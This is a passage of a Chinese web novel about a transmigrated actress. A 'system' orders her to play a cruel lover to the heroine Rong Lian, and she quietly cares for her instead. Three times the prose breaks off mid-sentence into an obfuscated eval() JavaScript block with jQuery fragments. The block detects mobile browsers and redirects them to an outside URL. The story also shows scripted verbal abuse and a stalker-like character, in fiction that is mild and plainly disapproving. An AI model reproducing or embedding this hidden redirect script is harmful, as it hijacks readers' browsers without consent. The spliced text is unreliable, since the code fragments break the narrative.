这在容莲眼里无疑是愚蠢、可笑、无济于事的行为。
但看着挡在自己面前的李惜白,心中依旧有些悸动。
李惜白的个子比她还矮半头,头发也像刚睡醒一样,一半掩在衣服里,有些凌乱,不知道是从哪匆忙赶来的。
以前这样不管不顾来维护容莲的事,李惜白干得也很多,甚至给对方砸钱都有过,仿佛她就是李惜白心尖上的珍宝。
可是到后来,李惜白落到她身上的目光就越来越少。
爱是会褪色的。
李青向来讨厌这样纷扰的事,便又大手一挥,道:“按小白说的做吧,其他人先去工作,都别在这闹了。”
“别,”李惜白出声阻止,“全部人都看着,先把事情搞清楚。”
她势必要把容莲身上的脏水洗干净。
李青张了张嘴,却又知道自己拗不过任性的妹妹,只好无奈闭上。
算了,当给他们放半天假吧。
Jill当然拿不出什么创作痕迹,更别提人证和物证了,支支吾吾说不出话。
李惜白来到容莲身边,为了维持人设,小声嘲讽了一句:“就知道给我丢人。”
这句话没有传到容莲耳中。
长期的站立和身边嘈杂的声音让容莲彻底受不了了,脸颊滚烫得吓人,神经也仿佛被灼烧一般。
下一秒,“咚”一声,眼前断电一般,容莲彻底失去意识。
*
浓重的消毒水味弥漫鼻尖,容莲睁开沉重的眼皮。
这是,医院?
一双放大的眼睛猛然出现在眼前,吓得容莲心脏一跳。
李惜白忍住笑,把脸缩了回去,迅速切换成一副不耐烦的表情:“身体差还去上什么班,被人欺负了都不知道反击,你什么时候窝囊成这样了?”
——“哈,她胆子这么小吗。”
容莲微微蹙眉。
“以后还是别工作了,在家待着不好吗,除了我谁还受得了你?”
——“啧啧,太标准的pua话术了。”
这自打自脸的话让容莲愣了愣,没说话。
——“完了,她不会真的相信了吧。”
李惜白担心自己真的把这朵小白花洗脑,那她李惜白还怎么做人啊。
“不,”容莲的声音很哑,神情却仿佛一株从石头中顽强钻出的小草,“我要工作。”
——“哎,这才对嘛。”
李惜白严肃起一张脸,冷声回:“反了你了。”
说完,故作冷酷地站起身,大步流星地走了,走之前还贴心地关了门。
容莲的表情慢慢趋于平静,望着李惜白刚才坐过的地方。
这家伙,到底在搞什么。
……
“你个赔钱货还敢跟我叫板?都说嫁出去的闺女泼出去的水,我看你没嫁出去都胳膊肘往外拐,你是看上哪个男人了,连你弟弟都顾不上,咳咳……老子把你养到这么大,你就是这么当白眼狼的,啊?”
老人的旧工装发白得几乎刺眼,布满泥土的胶鞋也是那么不堪。
容莲只觉得呼吸不畅,艰难开口:“我没钱了……我还要交房租。”
老人顿时恼怒,抄起一旁的扫把就砸了过来:“房租?比你弟救命钱还重要?”
容莲看着自己的身体被砸出一个大洞,鲜血拼命往外流,浑身都发着冷。
那位被她称为父亲的人,此刻正怒目圆睁地盯着她,仿佛在看一个仇人,而不是自己的亲生女儿。
他的身后是阴沉沉的影子,张牙舞爪地恐吓着她,几乎要将她吞噬。
他举起那只满是皱纹的大手,狠狠向她扇去——
在即将接触到脸颊的时候,那只手突然变得细腻白皙,轻轻抚着容莲的脸颊。
女人微微笑着,浅色眼眸闪着灵动的光彩:“没事了,还有我呢。”
阴影被驱散,一切黑暗不再,温柔的光将容莲笼罩,眼前人如同神明一般。
——没事了,还有我呢。
眼前场景渐渐模糊,那张脸庞上的微笑褪去,变成了冷漠。
“我做什么事都要告诉你吗?”
“没了我你以为你会是什么。”
李惜白脖上的唇印鲜红刺眼,声音冰冷无比:“容莲,你够了。”
“我们分手吧。”
心脏刺痛无比,容莲狼狈地抓住那人的手,希望抓住最后一丝光明,却又被狠狠甩开。
“别来烦我。”
……
——没事了,还有我呢。
李惜白端着饭盒回来时,容莲还在熟睡。
李惜白把保温壶放到床头,小心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722332|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翼翼抽出几张纸为她擦去眼角的泪。
这姑娘,做梦都会哭,该是有多委屈。
尽管动作再轻柔,容莲却还是醒了,茫然的目光望向李惜白,怎么看怎么可怜。
李惜白在内心叹一声,实在演不出冷酷的感觉,平静道:“鸽子汤,趁热喝吧。”
“宿主,您今天的行为已经完全ooc了。”
沉默了一整天的系统终究还是忍不住,好心提醒。
李惜白再次忽略,打开保温壶,倒了一小碗汤,双手递过去。
容莲没有动作,泪还沾着睫毛,只是愣愣地望着那碗汤。
李惜白以为她不喜欢,缓着声道:“你一天没吃饭了。”
容莲慢慢伸出手,接过来喝了一小口,落着泪笑了。
梦里的鸽子汤,果然很好喝。
梦里的李惜白,果然很好。
……
陪着容莲在医院住了一宿,早上又接到了李青的电话,说有事和她谈。
李惜白看了看还睡着的容莲,本想拒绝,系统的声音却再次响起。
“请宿主完成任务:去见原身的姐姐,并为主角受辞掉工作。”
由于李惜白昨天的操作,系统已经不敢放任,只能努力把剧情拉回原有的轨道。
李惜白自然不答应,费了好半天口舌仍是无果,只能硬着头皮去见李青。
*
“小白,我向你道歉。”
这突如其来的话让李惜白有些不自在。
“二位,您的咖啡。”服务员放下咖啡,对两人笑了笑,礼貌离开。
李惜白端起咖啡喝了一口,把目光转向窗外,她不知道原身和姐姐的相处方式是怎样的,不自觉地感到别扭和尴尬。
“容莲的确是一名优秀的服装设计师,那个Jill已经被辞退了。”李青只有在自己妹妹面前才会把态度放得这样软。
“嗯。”李惜白不冷不淡了一声。
废话,这还用别人讲吗,主角受当然是全世界最优秀的。
“不过,”李青顿了顿,话语里满是身为长辈的关心,“小白,你已经长大了,不要再瞎闹了。”
见李惜白不愿意和她说话,李青也不恼,只是有些难以启齿地又顿了顿,才继续说:“你喜欢女人这件事,姐姐管不了,可起码找个知根知底的,那位容莲,我派人去查了,她的父母都是些乡下人,没文化没素质,还有个劣迹斑斑的弟弟……”
“这样的人,你让姐姐怎么放心?”
李惜白想了想原身的人设,大概会很讨厌过度关心自己的长辈,于是挑了挑眉,不屑地说:“你管我?”
李青仿佛料想到她会是这种反应,依旧不依不饶地劝导:“哪怕是顾轻水呢,总比那个容莲好吧?”
说完,李青立刻意识到自己说错了话,连忙找补:“姐姐不是那个意思……”
李惜白却像没事人一样斜眼看着窗外,除了努力表现出的叛逆气质太过拙劣外,没有任何不妥。
李青的目光冷峻片刻,突然问道:“小白,你没有不舒服吧?”
“没有啊。”李惜白觉得她莫名其妙的。
李青微微冷笑:“你最近有些奇怪呢。”
李惜白警铃大作。
果然,家人还是最了解你的人,连容莲都没发现的事,却被李青发现了蹊跷。
李惜白后背瞬间凉下来,强撑问道:“哦?为什么?”
“其实也没什么,”李青的目光微微下垂,像在思虑些什么,“对了,你快生日了吧,想要什么,姐姐给你准备礼物。”
李惜白脑中飞速闪过些东西,不慌不忙地回:“不是几个月前才过了吗。“
李青点了点桌子,微笑道:“年纪大了,记性也不好,还是要你们年轻人啊。”
5. 你居然怕黑
李青在诈她。
意识到这点的李惜白更慌了些,只能靠喝咖啡来缓解紧张。
这不是在拍戏,没有NG的可能。
一杯咖啡很快见底,李惜白这才想起系统的任务。
“那容莲……”李惜白犹豫着开口。
李青笑笑:“我会给她晋升的,她的能力不止于此。”
李惜白轻“啊”一声,实在不想继续开口,奈何抵不住系统要求,还是说道:“这段时间……先撤了她的职位吧,让她休息一下。”
“不行。”
令李惜白没有想到的,李青竟然毫不犹豫地拒绝了。
李惜白略带疑惑地看了李青一眼,脑中有电光火石闪过,瞬间明白了。
根据设定,李青可是爱在心头口难开的隐忍攻四,虽说主角受被污蔑的时候李青并没有站出来为她开脱,内心却一定是担忧至极的,而主角受经历了此等委屈,李青又怎会忍心看她在此刻失去工作呢。
而刚才李青劝她离开容莲,根本就不是什么长辈的关心,是对情敌赤裸裸的威胁啊!
李青看着她,轻叹一口气:“她的能力很强,我不希望她落到别人手里。”
别狡辩了,你根本就是爱上她了吧。
李惜白端着空杯子微微眯起眼。
“还要一杯吗?”李青好心问。
“不用了。”李惜白拿出对待情敌的冷酷语气回道。
内心全十分欢快地对系统幸灾乐祸:哎呀,她不同意怎么办,那看来只能让容莲继续工作了。
系统在自我反省,没有搭理她。
*
医院的味道总会让容莲想到不好的事。
一觉醒来后身边空无一人,只有冷冰冰的墙面贴得自己那样近。
容莲闭了闭眼,脑子还在发沉。
昨晚,果然是梦吗……
容莲抬起自己的右手,梦中一直有人温柔地牵着她,带着她向高山走去,去太阳升起的地方。
她突然自嘲地冷笑一声。
还以为重生的自己会变得强大无比,没想到还是这样没用。
遇到别人不分青红皂白的污蔑,她的第一反应还是逃避,就像面对父母的辱骂,她从来不敢反抗。
双手紧紧攥着医院的被子,强压下内心自我厌恶的想法。
“咚咚咚——”
敲门声打断了容莲,她故作掩饰地轻咳几声:“请进。”
门被打开,一位温婉的小护士走进来,职业微笑道:“容小姐,感觉好点没?”
“还好……我可以出院了吗?”
“按理说是可以,不过您妹妹给您安排了全身体检,说是要趁这次机会一次查清楚,”小护士走过来,帮她理了一下歪掉的枕头,“现在先去做几项基础的,好吗?”
妹妹?
容莲眼中闪过一丝迷茫,沉思片刻。
排除一切不可能,这个妹妹只能是李惜白了。
李惜白的脸偏幼态,的确看不出她是个比自己还年长几岁的人。
就连性格也是,从来都蛮横任性,做事不管不顾、没心没肺,喜欢你的时候把你捧到天上去,不喜欢了就随手扔到一边,像个永远都长不大的小孩。
手机突然发来一条消息,容莲拿过来看了一眼。
那正是李惜白经过苦思冥想才研究出的话术:
废物,把病全都治好,别传染给我。
……
体检结果出来,容莲草草看了几眼就卷了起来。
她对自己的身体状况太清楚了。
正打算找个没人的地方扔掉,身后却突然出现一人抽掉她手中的体检单。
李惜白面无表情地展开,一个字一个字认真观摩。
容莲知道她肯定会嫌弃自己这具不健康的身体,干脆偏过了头,静等审判。
——“……心脏轻微反流是什么意思?”
——“怎么还有胃炎和贫血?”
李惜白的眉头一点点皱起来。
眼看那熟悉的厌恶话语就要到来,容莲只能麻木地习以为常。
李惜白抬起头,上下扫视一番容莲。
——“这么漂亮完美的人,为什么会有这么多病啊?”
容莲愣了愣,目光偏到一侧,慢慢把头发挽到耳后,露出更加漂亮的左脸。
李惜白把报告单收起来,平静道:“好了,回家吧。”
这种反应在容莲的意料之外,下意识“嗯?”一声,接着又想到什么:“我的工作……”
李惜白本来就不愿意自己出去工作,出了这样的事,容莲怕这人更不许她出去……
“给你请假啦,今天先回去给我做饭。”李惜白已经转过身,大步朝着门口走。
容莲依旧呆呆立在原地,昏沉的大脑在此刻像是飘在云朵中,眼前的背影和梦中人重叠起来,仿佛要带着她走进阳光里。
车窗外是流动的城市灯火,车内放着舒缓的音乐,温度调得恰到好处。
李惜白开车向来追求速度,却又担心副驾驶这位娇小姐受不了,只好开到50码慢速行驶。
容莲全程都望着窗外,头靠着头枕,安静地像一块瓷器。
车子停在一家大型超市门口,李惜白熄了火,看一眼不知道是在睡觉还是在发呆的容莲:
“喂,下车买菜。”
*
仅仅不到一个月,李惜白已经颇为想念容莲的手艺了。
尽管让大病初愈的人做饭是件很不道德的事。
容莲倒没抱怨什么,仿佛一切都是理所应当的事,修长的手指在翠绿的蔬菜间流转,耐心挑选着最合适的一把。
当然,这在李惜白眼中无疑是在一堆绿油油的相同物中找不同。
李惜白随手拿起被容莲舍弃掉的一棵西兰花。
——“这个不是很好吗?”
“已经开黄花了。”容莲平静道。
李惜白略惊讶地抬起头。
——“她居然喜欢我到这个地步了吗?凭借我的动作就能知道我在想什么?”
容莲:……
倒也没到那种地步。
又去生鲜区挑了些买了些排骨用来煲汤,再去买些调味品补货,看着在一旁百无聊赖等着的李惜白,一种陌生的安心感填满了容莲的内心。
账是李惜白结的,容莲自然没有闲心去和她抢这个,习惯性拎着大包小包的食材走在后面。
李惜白倒也没有那样心安理得,本来逼着一个病人给自己做饭就很残忍了,还劳烦容莲干这些体力活,实在不人道。
打开后备箱,容莲提着东西往里放,李惜白却突然走过来,拎起一袋排骨要帮她放。
李惜白本以为,像容莲这样柔弱无骨的女生,还是个设计师,最多也就能拿动和衣服一样重的东西。
事实上她大错特错——一大袋排骨的重量远超她想象,她刚提起来就被重力拉了下去,袋子重重摔在地上,李惜白也差点摔倒。
……这就不太酷了。
李惜白尴尬地笑几声,想再尝试一下,却被容莲先一步抢走,轻松扔进后备箱,脸不红气不喘道:“好了。”
——“啊,她是不是在挑衅我?”
容莲奇怪于李惜白的想法,看了看她的表情,好像真有些不服气,便说:“这个很重,不用你来提。“
李惜白呵呵笑两声。
——“她果然实在挑衅我。“
*
两人到家的时候,天已经黑得彻底,开了锁,摁了灯的开关,却依旧是乌黑一片。
李惜白不死心地又摁几下,依旧无济于事。
这个渣攻也是够抠门的,家里那么大个企业,自己在外面也有好几套别墅,却让情人住这么旧的房子。
“应该是灯泡坏了,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722333|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去换一下。”
清冷的女声在黑暗中响起,李惜白一下有了安心的感觉,摸索着找到沙发的位置,坐下等着容莲换灯泡。
容莲进了杂物室找灯泡,里面传来翻箱倒柜的声音,过一会儿,却突然没了动静。
李惜白以为出了事,开着手机上的手电筒进了杂物室。
白光照过去,只找到一个蹲在角落的容莲。
毫发无损一个容莲,看上去没磕也没碰,脸色也还好。
李惜白想笑:“你怎么不用手机,这么黑怎么找?”
“……手机突然没电了。”容莲在光的照耀下慢慢起身,继续在已经拉开的抽屉里寻找。
李惜白即刻有了个大胆的猜测,这家伙不会怕黑吧?
想一想那个场景,手机突然关机,四周一片黑暗,容莲只能害怕地蹲在角落发抖,连声音都不敢出。
李惜白笑得有点开心。
而这想法也完完整整传到了容莲耳中。
容莲不动声色地低下头,“找到了,去帮我搬个椅子吧。”
李惜白下意识要应,又突然意识到容莲这是在命令她,而作为渣攻的自己绝对不会接受他人的命令。
但是。
“高一点还是矮一点?”李惜白问。
“矮一点吧,灯泡的位置不算高。”
李惜白“哦”一声,出了房间拼命向系统解释:她今天这么可怜,再无情的人都会心软的啦。
系统呵呵冷笑。
“主角受是不会属于渣攻的,请宿主不要痴心妄想。”
李惜白不想理系统了。
搬了个矮板凳放在灯下面,李惜白突然发现容莲还在杂物室没出来,喊了几声后,那人才慢腾腾走出来。
只是动作很迟钝。
容莲踩上凳子,熟门熟路地拆开灯的外罩,解下坏掉的灯泡。
李惜白仰着脑袋看,又对容莲多了几分敬佩之情。
如果撇开刚刚怕黑不谈的话,李惜白觉得容莲简直是个完美到无瑕的人。
“啪嗒”一声,灯开了,整个房间浸润在温馨的暖光下。
拎起堆在桌子上沉沉的菜,容莲就要往厨房走,却突然被李惜白叫住。
接下来的情节,是系统对李惜白强调过很多遍的。
渣攻故意将刻有其他情人姓名的项链送给主角受,为了让她认清自己的地位,还逼迫她每天戴在胸口的位置,让那份冰凉永远紧贴心脏。
这也导致了主角受对渣攻的第一次心死。
李惜白掏出口袋里的首饰盒,递给容莲。
“送你的。”
容莲在看到那个黑色毛绒盒子的一瞬间,目光就冷了下来。
她伸手接过盒子,然后紧紧攥住。
容莲怎么能不认得这个。
上一辈子,她满心欢喜地打开,却在那条发着细碎光闪的项链上,看到了另一个女人的名字。
她不死心去质问,却只得到了这样一句话——“果然,你怎么都还是比不上她啊。”
……
“你不打开看看吗?”见容莲又在发呆,李惜白忍不住问。
容莲垂下眼:“不了。”
李惜白担心任务完不成,只好冷声道:“我的东西你都看不上了?”
容莲攥紧盒子,心中的怨恨已经接近极限:“没有。”
“那就看。”李惜白的态度强硬地抢过去,把盒子打开,取出一条金光闪闪的项链。
亮光刺着容莲的眼睛,容莲的心中突然掀起一股冲动。
既然她那么爱别人,就用这条刻着别人名字的项链将她勒死好了。
用这种痛苦的方式结束她的生命,自己的痛苦也就不存在了。
容莲颤抖的手慢慢伸过去,接住那条项链,似乎还带着那人余温。
李惜白微微笑着:“你看一看,上面有字的。”
6. 西子莲心
“是吗……”连声音都变得沙哑,脑中的画面开始反复演示,血腥的场面一遍遍刺激着心脏——直到,那三个雕刻小字出现在眼前:
西子莲。
哎?
见容莲开心得都呆了,李惜白收起微笑,奉行给一个甜枣打一棒的规矩,冷笑道:“什么见识都没有,真是下层人。”
说完,赶着容莲去厨房做饭了。
意识到不对劲的是系统雷霆大怒:“宿主,请您立刻解释。”
李惜白则一脸无辜:“拜托,她在外面的情人我一个都联系不上,随便编一个名字还不行吗?你敢说全世界没有人叫这个名字?”
……是的,系统只是要求将刻有别人名字的项链交给主角受,并没有规定别人是谁。
饭菜刚端好在桌上,容莲就看见李惜白捧着碗筷在一旁等着了。
脑海中顿时浮现出小狗敲着碗等饭的画面。
不自觉想笑,微凉的金项链贴着脖子,却诡异地传着丝丝暖意。
这顿饭吃得很沉默,却并不压抑,李惜白则完全沉浸在自己的世界中无法拔筷子。
容莲吃饭又慢又规矩,不知道是怎样练出来的,要不是李惜白故意让着她,估计她都抢不上几个菜。
饭碗也是容莲收拾的,李惜白完全没有吃白饭的自觉,一个人去了卧室不知道倒腾什么。
容莲回想前世,这天她因为项链的事和李惜白大吵一架,积累许久的埋怨终于爆发,李惜白则是冷笑着摔门离开,去找项链上的女人了。
而自己在崩溃半小时后,选择打电话道歉,甚至还跑到李惜白的别墅找人,最终却只看到李惜白和那个女人相吻的画面。
而如今,李惜白乖乖吃完了自己做的饭,老老实实呆在她们的家,哪里都没去。
容莲不清楚是哪里出了错。
*
容莲洗完澡,披着浴衣出来时,李惜白刚从卧室出来。
虽然自己生病才好,但按惯性,李惜白肯定不会允许自己上床睡觉,就算如今的李惜白似乎变了很多,但这点肯定不会变的。
“我进去拿下睡衣。”为了防止李惜白误会自己仗着生病就无法无天要上床睡觉,容莲在进卧室之前特地解释道。
李惜白“哦”一声,没多说什么。
容莲打开卧室门,看到那张双人床上摆放整齐的两个枕头和两床被子,心头微动了一下。
门外的李惜白见容莲迟迟不出来,有些心虚地喊:“今天在床上睡吧,你身体刚好,别又病了浪费我的钱。”
后半句是在系统的逼迫下说出的。
系统如今不仅对她威逼利诱,甚至还恶意嘲讽。
“宿主,不要痴心妄想了,主角受是绝对不会和你在一起的,请宿主有自知之明。”
李惜白继续呵呵。
她只是,只是有点心软而已,绝对没有别的想法,就算容莲真的很漂亮很能干,很合自己的心意,她也绝对不会因此抛弃后半生的荣华富贵的。
李惜白攥紧拳头,再次坚定自己的想法。
屋门在此刻被打开,穿着一身浅淡米白色睡衣的容莲走出来,被未消散的水汽浸得有些柔软,领口开得稍微大了些,露出精致的锁骨,乌黑的长发披在身后,散发着栀子花洗发水的香气。
“那进来吧。”
李惜白在内心“哇塞”好几声,话都有些结巴:“我……我先洗澡。”
这种诡异的新婚感到底是从哪来的……李惜白痛斥自己的恶劣思想。
最终李惜白在浴缸里泡了两小时,身体都要泡褪色,才依依不舍地出来。
小心翼翼打开屋门,一盏铃兰花形状的小夜灯亮着,容莲已经安稳睡着了,背朝着她,只占了床的三分之一。
李惜白踮着脚尖做贼一样走过去,轻轻掀起被子钻进去,生怕把容莲吵醒。
可一直保持着僵直的动作实在无法入睡,李惜白忍不住翻了好几个身,还是把容莲吵醒了。
“怎么了……”这声音很温柔,大概是刚从梦中醒来的缘故。
望着容莲眼里的困倦,李惜白尴尬地吐出一个字:“热。”
容莲沉默了一会,支起上身,伸手抓向李惜白的被子,把盖住下巴的被子慢慢往下拉,动作很轻柔。
李惜白急忙闭上眼睛。
直到拉到胸口的位置,容莲的动作才停下。
“别盖那么高就好了。”
解决了李惜白的问题,容莲心安理得地躺下了。
李惜白睁开眼,忘我地看了一会天花板,又把被子拽到脑袋上。
这个人,真的没有在故意勾引她吗?
*
容莲这辈子第一次迟到了。
外面的太阳已经快升到头顶,李惜白依旧一副睡死的姿态,容莲过去探了探她的鼻息,确认还活着后才开始收拾出门。
本以为迟到这么久多少是会挨句批评,没想到众人看到匆匆赶来的容莲后,眼中全是畏惧。
Jill已经抱着行当等了容莲许久,后牙都要被咬烂,见到容莲后更是冷笑一声走到她面前:“你真是有本事啊。”
容莲完全无视她,对她的话更是恍若未闻,半分没有停顿,直直越过,去了自己的位置。
Jill想过容莲会对她冷嘲热讽,也想过互相扯头发的场景,唯独没想过这样,彻彻底底的忽略,仿佛她根本不是一个值得放在眼里的人。
恼怒地跺了跺脚,Jill觉得自己简直像个炮灰反派,除了酸鸡跳脚没有任何作用。
暗暗把心里那句“我还会回来的!”这种灰太狼话术咽回去,愤愤离场。
容莲用余光望了望Jill离去的背影,轻叹了一口气,转头问最近的同事:“Lucia在办公室吗?”
“她走了,”同事咽咽口水,“李总说,她现在的位置,是你的了。”
……
李青把Lucia调去了其他部,算是平调,特地空出这个位置给容莲这个纯新人。
容莲被这突如其来的提拔搞得莫名其妙。
中午的时候,李青还特地过来拍了拍容莲的肩,说了一声“好好干”,然后介绍了一位新人,说是给她的助理。
新人个头不高,戴着一副黑框眼镜,皮肤白嫩,看着是娇小可爱的款式。
“你……你好,我叫米粒。”
米粒低着头,面庞染上不正常的绯红,连耳尖都红透了。
世界上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722334|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,怎么会有这么好看的人呢……
容莲点点头,伸出修长白皙的手:“我是容莲,以后多多指教。”
米粒简直要晕了,这样小说般的人物,小说般的台词,怎么会就这样降临在她身上呢……
颤抖着伸出手,在即将握上那只散发着香气的手时却突然被叫停。
“好了,快工作吧,别搞这些虚把事。”李青皱眉道。
这个狐狸精,勾引了她妹妹还不算,现在随便拉个人都要引诱一番吗?
在门口目睹一切的李惜白慢慢眯起眼。
如果她没猜错,这位米粒就是本世界的攻三。
作为身高不占优势的攻,米粒另辟蹊径,走反差人设,表面温温柔柔,会在主角受遇到困境时给予安慰,内心却是痴女变态,会收集主角受用过的一次性纸杯,把主角受的照片贴满整个房间,每天晚上听着主角受在工作群里发的语音入睡。
李惜白倚着门框,手里拿着容莲忘在家的文件,抱着臂观看这出修罗场情节。
看样子,攻四李青已经对完美无缺的主角受情根深种,不希望任何人与主角受接触过多,但碍于身份和伦理,只能说些冠冕堂皇的话。
而攻三这明显一见钟情的样子更是不用多说。
“宿主,前方即将进入修罗场情节,请宿主做好准备。”
呵,这么明晃晃的事实还用你提醒——突然,一道出奇之大的力度猝不及防地把李惜白拥倒在地,而那人也因惯性摔到了李惜白身上。
“有病吧,在门口站着干嘛!”罪魁祸首反而恶人先告状,起身对李惜白骂道。
李惜白疼得都茫然了,被赶来的李青扶起来,才回过神来,大喊:
“喂!是谁有病啊?”
罪魁祸首丝毫不知悔改,用手指玩弄着一头红白渐变的卷发,唇角勾起一抹冷笑。
“是你啊,那抱歉了,没看见你这位大小姐,哦不对,是二小姐。”
这张扬到要上天的气质让李惜白一眼就认出了她的身份。
人气仅次于攻一的不良女攻二,原星。
同为服装设计师的原星,在主角受刚刚崭露头角时便对她心生不满,处处阻碍,嫌弃主角受保守的风格,却又在一次次的接触中被主角受的个人魅力折服,暗恋上自己的这位死对头。
怪不得系统刚刚提醒她,一出戏,除了那位神龙见首不见尾的攻一,集齐了四位攻,连自己这位渣攻都在,真是百年难得一见。
而容莲,便是那位被众人争夺的小白莲。
容白莲此刻的目光停在李青扶李惜白的那双手上,嘴角微不可见地向下撇了撇。
“原小姐怎么有空大驾光临。”李青的语气不太好。
原星冷哼一声,“李青,以前你的房间我都是想进就进,现在这么大个公司我都不能进了?”
“原小姐少在这胡言乱语。”
“我胡言乱语?李青,你现在真是越来越狂了啊?”
这两人刚见面就剑拔弩张,连容莲这位主角都被忽略,系统看不下去了。
“请宿主完成接下来的任务:大骂容莲,让她陷入难堪场景,为众攻提供机会保护主角受,同时为她们的感情线埋下伏笔。”
7. 熟睡的丈夫
李惜白刚磕到的膝盖瞬间不疼了。
她现在脑子疼。
为什么每个字她都认识,连在一起却看不懂呢?
大骂容莲……这是人说出的话吗?
看看那个大病初愈还坚持爬来上班的小白莲,再想想昨晚小白莲辛辛苦苦做的一桌的菜,李惜白的良心已经在隐隐作痛了。
容莲很疑惑,这家伙为什么在想要怎样骂她?
那两人还在冷声冷气地互相呛人,李惜白一时也插不上话,便清了清嗓子,却又被原星白了一眼。
“干什么?看我和你姐姐谈心,嫉妒吗?”
李惜白真是很不理解她的脑回路。
还有谈心是什么鬼啊!
“原星,你最好少对小白乱说话。”李青看上去是真生气了,眼中满是烦躁。
看这两人一时半会是停不下来了,容莲看向不知所措的米粒,轻声道:“先回去工作吧。”
米粒立刻抬头感激地望着她,星星眼都要冒出来:“好……好的。”
李惜白看了看娇羞的米粒,又扫过平静的容莲,内心努力揣摩骂人的感觉。
“喂!”不管怎样,先发出个声音来。
四个人的目光移到她身上。
李惜白紧盯着容莲,准备好的气势又如同皮球一般泄掉:“……你的文件忘在家了。”
容莲点了下头,随手接过文件后就带着米粒走掉。
原星笑着“哦?”了一声,瞥了瞥李青,幸灾乐祸地开口:“李青,你妹妹在和那个美女同居吗?”
……
“请宿主立刻补救,否则将即刻被遣送回原世界。”
系统开始下最后通缉。
李惜白深吸一口气。
“容莲!”她抱着竞选奥斯卡影后的心态开演,指着已经走开一段距离的容莲大喊:“我让你来公司是来工作的,你要是敢在这里勾勾搭搭,我绝对饶不了你!”
这声音很大,整个办公室的人都听见了,键盘的敲击声都小了许多。
容莲闻声,转过身来。
耳边响起几声放肆的笑,李惜白转头,看见原星正饶有兴趣地望着容莲,眼神里满是趣味的打量。
李青则把眉头锁得很紧。
系统有些激动:“很棒,宿主,攻二已经对主角受产生兴趣了,再接再厉!”
李惜白缓了几下,在内心反复洗脑“我是个泼妇”,才继续开口:“你别以为你当上领导了就能怎样,我告诉你,在我这里,你永远都只配给我做饭!”
这下所有人彻底安静了。
——“对不起……”
李惜白想抹一把苦泪。
“都看什么热闹!”
李青呵斥了一声,员工们瞬间低下头。
原星彻底开心了,“哎我说你,这么骂人家一个小姑娘干嘛?”
“小白,别在这瞎闹了。”连表面上一直偏袒李惜白的李青都看不下去了。
就连米粒也用一种抱怨的目光看着李惜白。
系统相当激动:“恭喜宿主,攻二攻三攻四已经开始维护主角受了,请宿主再接再厉!”
可李惜白开心不起来。
既然任务成功,接下来只需要恼羞成怒地走掉,这出戏就可以落幕了。
李惜白望向容莲,她神色如常,看不出屈辱,也不见有任何的恼怒。
她大概是对自己死心了吧。
李惜白拼尽全力保持气恼的表情,从门口走掉,内心却如同静水一般死寂。
坐上下行的电梯,电梯里光洁的内壁反射着她的样子,和原世界一般无二,漂亮可爱得毫无记忆点,戏路宽阔却根本不能让人眼熟,日复一日地在演艺界摸爬滚打,却仅仅是能吃饱饭的程度。
对于这个小演员来说,渣攻名下那数不尽的财产,无疑是拼破脑袋都想得到的东西。
为此,她愿意做很多事。
所以这不算什么。
系统还在没眼力见地继续夸赞:“恭喜宿主第一次毫不出错地完成任务,以后这样的事一定会更多的,本系统期待宿主的表现!”
“哦。”李惜白心不在焉地应一声。
电梯运行到三楼停了一下,电梯门缓缓打开,有些冷的气流推进电梯,一个人走了进来。
李惜白低着头往角落缩了一下,不想让别人看到自己不好的状态。
电梯缓缓下行中。
“阿白。”熟悉的女音回荡在狭小的空间内。
李惜白抬起头,恰巧电梯门缓缓打开,柔软的白光涌进来,为背着光的容莲勾勒出柔和的轮廓,顺直的黑色长发宁静地披在肩上。
时间仿佛被拉长,又像是骤然凝固。
李惜白呼吸停滞了一会儿,手腕很快被握住,耳边又传来容莲的声音:“抱歉。“
“还走不走了?你们不坐电梯我还坐啊。”门口的人开始抱怨。
容莲拉起李惜白往外走,对那人微笑致歉。
李惜白看着那只被牵住的手,终于缓过神来了,失去的状态重新回归,又变成无理取闹的姿态:“喂,不是有人哄你吗,还找我干什么?”
这话听起来怪怪的。
然而还没等李惜白琢磨明白,容莲又开口道:“我以后不会这样了。”
李惜白疑惑地看了她几眼,想半天才想懂她的意思是,以后不会在公司勾勾搭搭。
其实李惜白当时只是随便找的借口,难道她真的……
“当然我以前也没有过。”容莲补充道。
“哦,”李惜白不知道怎么应了,抓了抓后脑勺,“那你先回去吧。”
“今晚回家吗?”
“大概吧。”李惜白努力用着漫不经心的渣攻腔调。
“好。”容莲笑了笑。
路上,系统不知道是在安慰自己还是安慰李惜白,絮絮叨叨说了一堆话。
“主角受只是还没到彻底死心的阶段,所以这样是正常的。”
“她绝对不是喜欢你,只是执念而已。”
